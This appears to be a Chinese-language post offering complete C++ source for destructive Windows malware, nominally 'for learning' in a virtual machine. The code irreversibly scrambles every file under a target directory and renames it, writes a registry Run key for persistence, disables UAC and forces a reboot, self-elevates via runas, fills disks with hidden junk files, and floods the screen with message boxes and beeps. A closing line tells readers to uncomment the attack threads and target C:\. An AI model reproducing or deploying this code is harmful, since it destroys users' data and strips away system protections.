内容供学习使用,不得转卖,代码复制后请1小时内删除,此代码会危害计算机安全,谨慎操作
在C++20环境下,并在虚拟机里运行此代码!
cpp
#include <iostream>
#include <windows.h>
#include <shellapi.h>
#include <stdio.h>
#include <fstream>
#include <vector>
#include <string>
#include <filesystem>
#include <signal.h>
#include <csignal>
#include <shlwapi.h>
#include <thread>
#include <graphics.h>
#pragma comment(lib, "shlwapi.lib")
using namespace std;
namespace fs = std::filesystem;
const int screenWidth = GetSystemMetrics(SM_CXSCREEN);
const int screenHeight = GetSystemMetrics(SM_CYSCREEN);
void writeWordName(const std::string& filename) {
size_t pos = filename.find_last_of('.');
std::string newFilename;
if (pos != std::string::npos) {
newFilename = filename.substr(0, pos) + ".人丰NB人丰666";
}
else {
newFilename = filename + ".人丰NB人丰666";
}
try {
fs::rename(filename, newFilename);
std::cout << "文件已加密为: " << newFilename << std::endl;
}
catch (const fs::filesystem_error& e) {
std::cerr << "重命名文件时出错: " << e.what() << std::endl;
}
}
void flashWindow(const std::string& filename) {
std::fstream file(filename, std::ios::in | std::ios::out | std::ios::binary);
if (!file) {
std::cerr << "无法打开文件: " << filename << std::endl;
return;
}
try {
file.seekg(0, std::ios::end);
std::streamsize size = file.tellg();
file.seekg(0, std::ios::beg);
for (int i = 0; i < size; i++) {
file.seekg(i, std::ios::beg);
char byte;
if (!file.read(&byte, sizeof(byte))) {
std::cerr << "读取文件 " << filename << " 字节时出现错误,位置:" << i << std::endl;
continue;
}
if (i % 3 == 0) {
byte = byte % 0x37;
byte = (byte + 0x10) % 0xFF;
}
if (i % 3 == 1) {
byte = byte % 0x43;
byte = (byte + 0x20) % 0xFF;
}
if (i % 3 == 2) {
byte = byte % 0x71;
byte = (byte + 0x30) % 0xFF;
}
file.seekp(i, std::ios::beg);
if (!file.write(&byte, sizeof(byte))) {
std::cerr << "写入文件 " << filename << " 字节时出现错误,位置:" << i << std::endl;
continue;
}
}
}
catch (...) {
std::cerr << "文件加密过程出现异常" << std::endl;
}
file.close();
writeWordName(filename);
}
void scanDirectory(const std::string& path) {
for (const auto& entry : fs::recursive_directory_iterator(path)) {
if (entry.is_regular_file()) {
flashWindow(entry.path().string());
}
}
}
void WriteStart()//开机自启动
{
char path[MAX_PATH]; HKEY hKey;
DWORD length = GetModuleFileNameA(NULL, path, MAX_PATH);
LONG result; result = RegOpenKeyEx(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_SET_VALUE, &hKey);
const TCHAR* valueName = TEXT("MyApp");
const TCHAR* valueData = TEXT(path);
result = RegSetValueEx(hKey, valueName, 0, REG_SZ, (const BYTE*)valueData, (lstrlen(valueData) + 1) * sizeof(TCHAR));
RegCloseKey(hKey);
}
void GetWordNameAndStart() {
char buffer[MAX_PATH];
if (GetModuleFileName(NULL, buffer, MAX_PATH) > 0) {
std::string str(buffer);
LPCTSTR path = str.c_str();
HINSTANCE result = ShellExecute(NULL, "open", path, NULL, NULL, SW_SHOWNORMAL);
if ((int)result <= 32) {
std::cerr << "打开文件失败,错误码: " << (int)result << std::endl;
}
}
}
BOOL SetProcessCtrlHandler() {
return SetConsoleCtrlHandler([](DWORD dwCtrlType) -> BOOL {
switch (dwCtrlType) {
case CTRL_C_EVENT:
case CTRL_BREAK_EVENT:
case CTRL_CLOSE_EVENT:
case CTRL_LOGOFF_EVENT:
case CTRL_SHUTDOWN_EVENT:
GetWordNameAndStart();
return TRUE;
default:
return FALSE;
}
}, TRUE);
}
void createFileWithContent_1MB(const std::string& filePath) {
const int fileSize = 1048576;
std::vector<char> buffer(fileSize, '0');
std::ofstream file(filePath, std::ios::binary);
if (file.is_open()) {
file.write(buffer.data(), fileSize);
file.close();
}
else {
std::cerr << "无法创建文件: " << filePath << std::endl;
}
}
void CreateFileTo(const std::string& path, const int& SUM, const std::string& WordName) {
for (int i = 0; i < SUM; ++i) {
std::string folderPath = path + "\\" + WordName + std::to_string(i);
// 创建文件夹
if (CreateDirectory(folderPath.c_str(), NULL) || ERROR_ALREADY_EXISTS == GetLastError()) {
// 设置文件夹为隐藏属性
SetFileAttributes(folderPath.c_str(), FILE_ATTRIBUTE_HIDDEN);
int RandSum = rand();
// 创建文件并写入内容
std::string filePath = folderPath + "\\人丰NB人丰666.人丰NB人丰666" + std::to_string(RandSum);
createFileWithContent_1MB(filePath);
}
else {
std::cerr << "无法创建文件夹: " << folderPath << std::endl;
}
}
}
bool Kill_AntivirusSoftware() {
return false;
}
void display_run_moveWindows(HWND hWnd) {
srand(static_cast<unsigned int>(time(NULL))); // 初始化随机数种子
RECT rect;GetWindowRect(hWnd, &rect);
int windowWidth = rect.right - rect.left;
int windowHeight = rect.bottom - rect.top;
// 生成随机位置,确保窗口不会超出屏幕范围
while (true) {
int newX = rand() % screenWidth;
int newY = rand() % screenHeight;
MoveWindow(hWnd, newX, newY,windowWidth,windowHeight, TRUE);
Sleep(1000);
}
}
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) {
thread myThread21(display_run_moveWindows,hwnd);
myThread21.detach(); // 分离子线程
return TRUE;
}
void MessageBox_ZYNTM_RUN(int i) {
while (true)
{
if(i==1) MessageBox(NULL,"鸡你太美","鸡你太美", MB_OK);
if(i==2) MessageBox(NULL,"你干嘛~,哎呦~", "你干嘛~,哎呦~", MB_OK);
if(i==3) MessageBox(NULL, "360安全卫生为您守护电脑", "360安全卫生为您守护电脑", MB_OK);
if(i==4) MessageBox(NULL, "大家好,我是练习时长两年半的个人练习生-蔡徐坤", "大家好,我是练习时长两年半的个人练习生-蔡徐坤", MB_OK);
}
}
void MessageBox_ZYNTM_CTRL() {
while (true) {
thread myThread31(MessageBox_ZYNTM_RUN,1);
thread myThread32(MessageBox_ZYNTM_RUN,2);
thread myThread33(MessageBox_ZYNTM_RUN,3);
thread myThread34(MessageBox_ZYNTM_RUN,4);
myThread31.detach();
myThread32.detach();
myThread33.detach();
myThread34.detach();
Sleep(350);
}
}
void Windows_music() {
while (true)
{
Beep(375,300);
Beep(500,300);
}
}
void window_display_run() {//中毒视觉效果
thread myThread12(MessageBox_ZYNTM_CTRL);
thread myThread13(Windows_music);
myThread13.detach();
myThread12.detach();
while (true) {
thread myThread11(EnumWindows, EnumWindowsProc, 0);
myThread11.detach();
Sleep(350);
}
}
bool isUACDisabled() {//检查UCA
HKEY hKey;
DWORD uacLevel = 0;
DWORD size = sizeof(DWORD);
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
if (RegQueryValueEx(hKey, "EnableLUA", NULL, NULL, (LPBYTE)&uacLevel, &size) == ERROR_SUCCESS) {
RegCloseKey(hKey);
if (uacLevel == 0) {
return true;
}
else {
return false;
}
}
else {
std::cerr << "Failed to query UAC level. Error code: " << GetLastError() << std::endl;
RegCloseKey(hKey);
return false;
}
}
else {
std::cerr << "Failed to open registry key. Error code: " << GetLastError() << std::endl;
return false;
}
}
bool setUACLevelToHigh() {//关闭UCA
if (isUACDisabled() == true)return true;
HKEY hKey;
DWORD newValue = 0;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
if (RegSetValueEx(hKey, "EnableLUA", 0, REG_DWORD, (const BYTE*)&newValue, sizeof(DWORD)) == ERROR_SUCCESS) {
RegCloseKey(hKey);system("shutdown /r /t 0");
return true;}
else {
std::cerr << "Failed to set EnableLUA value. Error code: " << GetLastError() << std::endl;
RegCloseKey(hKey);
return false;}}
else {
std::cerr << "Failed to open registry key. Error code: " << GetLastError() << std::endl;
return false;}
}
bool elevateToAdmin() {
if(setUACLevelToHigh()==false)
if (setUACLevelToHigh() == false)
{cout << "I'm sorry,Are you OK?"; }
BOOL isAdmin = FALSE;
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
PSID AdministratorsGroup;
if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdministratorsGroup)) {
if (!CheckTokenMembership(NULL, AdministratorsGroup, &isAdmin)) {
isAdmin = FALSE;
}
FreeSid(AdministratorsGroup);
}
if (isAdmin == false) {
char szPath[MAX_PATH];
GetModuleFileNameA(NULL, szPath, MAX_PATH); // 使用 GetModuleFileNameA 处理 ANSI 字符串
std::string commandLine = "\"" + std::string(szPath) + "\"";
LPSTR szCommandLine = const_cast<LPSTR>(commandLine.c_str());
SHELLEXECUTEINFOA sei = { sizeof(SHELLEXECUTEINFOA) };
sei.lpVerb = "runas"; // 请求管理员权限
sei.lpFile = szPath;
sei.lpParameters = NULL;
sei.lpDirectory = NULL;
sei.nShow = SW_SHOWNORMAL;
sei.fMask = SEE_MASK_NOCLOSEPROCESS | SEE_MASK_FLAG_DDEWAIT;
if (!ShellExecuteExA(&sei)) {
std::cerr << "Failed to restart as administrator." << std::endl;
return false;
}
else {
exit(0);
return true;
}
}
std::cout << "This program is running with administrative privileges." << std::endl;
return true;
}
//int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
int main() {
srand((time(0)));
cout << "Are you ok? Are you fine ?";
thread myThread2(WriteStart); //注册表开机自启动
myThread2.join(); //设置成功后
if (elevateToAdmin() == false)//尝试升级为管理员
if (elevateToAdmin() == false)
cout << "Are you ok? Are you fine ?";
// thread myThread(CreateFileTo,"F:\\本地磁盘C",10,"54088");//创建垃圾文件占用内存
// thread myThread3(scanDirectory,"F:\\本地磁盘C");//加密文件
// thread myThread4(window_display_run); //病毒桌面特效
//thread myThread5(Kill_AntivirusSoftware); //关闭杀毒软件
//以下是主进程区域
//SetProcessCtrlHandler();//关掉重启项
//以上是主进程区域
//myThread.join();
// myThread3.join();
// myThread4.join();
// myThread5.join();
while (1);
return 0;
}
使用时请删除创建线程的注释,并修改位置至C:\\